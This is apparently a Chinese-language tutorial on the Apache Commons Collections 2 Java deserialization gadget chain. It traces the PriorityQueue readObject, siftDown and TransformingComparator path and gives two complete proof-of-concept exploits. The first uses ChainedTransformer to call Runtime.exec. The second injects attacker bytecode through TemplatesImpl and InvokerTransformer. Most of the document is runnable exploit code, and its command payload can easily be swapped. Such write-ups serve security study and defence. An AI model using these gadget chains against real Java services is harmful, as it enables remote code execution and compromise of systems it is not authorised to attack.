由于我们要序列化的对象是PriorityQueue,所以我们就先实例化一个该对象 并且赋初值
- PriorityQueue priorityQueue = new PriorityQueue(2);
- priorityQueue.add(1);
- priorityQueue.add(2);
由于我们最后要调用的是ChainedTransformer对象的transform方法来进行RCE
- //ChainedTransformer.transform
- public Object transform(Object object) {
- for (int i = 0; i < iTransformers.length; i++) {
- object = iTransformers[i].transform(object);
- }
- return object;
- }
所以创建一个ChainedTransformer对象 这个对象为何要这样写在cc链里讲过 就是链式调用
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
-
- Transformer transformerchain = new ChainedTransformer(transformers);
由于我们要调用的链条如下
PriorityQueue.readObject--heapify--siftDown--siftDownUsingComparator(comparator != null)--compare--transform
- //PriorityQueue的readObject
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- // Read in size, and any hidden stuff
- s.defaultReadObject();
-
- // Read in (and discard) array length
- s.readInt();
-
- queue = new Object[size];
-
- // Read in all elements.
- for (int i = 0; i < size; i++)
- queue[i] = s.readObject();
-
- // Elements are guaranteed to be in "proper order", but the
- // spec has never explained what that might be.
- heapify();
- }
-
-
- private void siftDown(int k, E x) {
- if (comparator != null)
- siftDownUsingComparator(k, x);
- else
- siftDownComparable(k, x);
- }
-
- private void siftDownUsingComparator(int k, E x) {
- int half = size >>> 1;
- while (k < half) {
- int child = (k << 1) + 1;
- Object c = queue[child];
- int right = child + 1;
- if (right < size &&
- comparator.compare((E) c, (E) queue[right]) > 0)
- c = queue[child = right];
- if (comparator.compare(x, (E) c) <= 0)
- break;
- queue[k] = c;
- k = child;
- }
- queue[k] = x;
- }
-
- //TransformingComparator的compare方法
- public int compare(I obj1, I obj2) {
- O value1 = this.transformer.transform(obj1);
- O value2 = this.transformer.transform(obj2);
- return this.decorated.compare(value1, value2);
- }
代码中可以看到要完成一条完整的链,需要满足的条件是comparator != null,所以我们的poc中要给priorityQueue设置一个comparator而且是TransformingComparator类的comparator,而这个TransformingComparator的this.transformer需要是ChainedTransformer类的(因为最终是调用ChainedTransformer的transform)所以创建TransformingComparator对象时,传参是传的ChainedTransformer对象也就是transformerchain
- TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
- Field field = priorityQueue.getClass().getDeclaredField("comparator");
- field.setAccessible(true);
- field.set(priorityQueue,transforming_Comparator);
那么最终poc就是这样的
- public class main {
- public static void main(String[] args) throws Exception {
- Object cc1 = CC1();
- serialize(cc1);
- unserialize("ser.bin");
- }
- static Object CC1() throws Exception{
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
- Transformer transformerchain = new ChainedTransformer(transformers);
-
-
- PriorityQueue priorityQueue = new PriorityQueue(2);
- priorityQueue.add(1);
- priorityQueue.add(2);
-
- TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
- Field field = priorityQueue.getClass().getDeclaredField("comparator");
- field.setAccessible(true);
- field.set(priorityQueue,transforming_Comparator);
- return priorityQueue;
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
- oos.writeObject(obj);
- }
-
- public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
- return ois.readObject();
- }
- }
效果如图
InvokerTransformer

相比调用ChainedTransformer的更加transform的POC要简单一些因为不用去链式调用了嘛,我们只用最后调用一下InvokerTransformer的transform方法实例化一个对象就好了
所以就要实例化一个InvokerTransformer对象并且传给transformer_comparator
- InvokerTransformer transformer = new InvokerTransformer(newTransformer",null,null);
- TransformingComparator transformer_comparator = new TransformingComparator(transformer);
创建PriorityQueue对象 并add TemplatesImpl_instance(RCE类) 以便compare的时候传入RCE类对象然后transform(TemplatesImpl_instance) 去实例化RCE类的对象

- PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
- queue.add(TemplatesImpl_instance);
- queue.add(TemplatesImpl_instance);
最终就调用了InvokerTransformer的transform方法 实例化了一个RCE类

最终POC
- public class main {
- public static void main(String[] args) throws Exception {
- Object cc2 = CC2();
- serialize(cc2);
- unserialize("ser.bin");
- }
- static Object CC2() throws Exception{
- ClassPool classPool = ClassPool.getDefault();
- CtClass ctClass = classPool.getCtClass("RCE");
- byte[] bytes = ctClass.toBytecode();
-
- TemplatesImpl TemplatesImpl_instance = new TemplatesImpl();
-
- Class> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
-
-
- Field bytecodes = aClass.getDeclaredField("_bytecodes");
- bytecodes.setAccessible(true);
- bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
-
- Field name = aClass.getDeclaredField("_name");
- name.setAccessible(true);
- name.set(TemplatesImpl_instance , "ting");
-
- Field tfactory = aClass.getDeclaredField("_tfactory");
- tfactory.setAccessible(true);
- tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
-
- InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
- TransformingComparator transformer_comparator = new TransformingComparator(transformer);
-
- PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
- queue.add(TemplatesImpl_instance);
- queue.add(TemplatesImpl_instance);
- return queue;
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
- oos.writeObject(obj);
- }
-
- public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
- return ois.readObject();
- }
- }
效果图
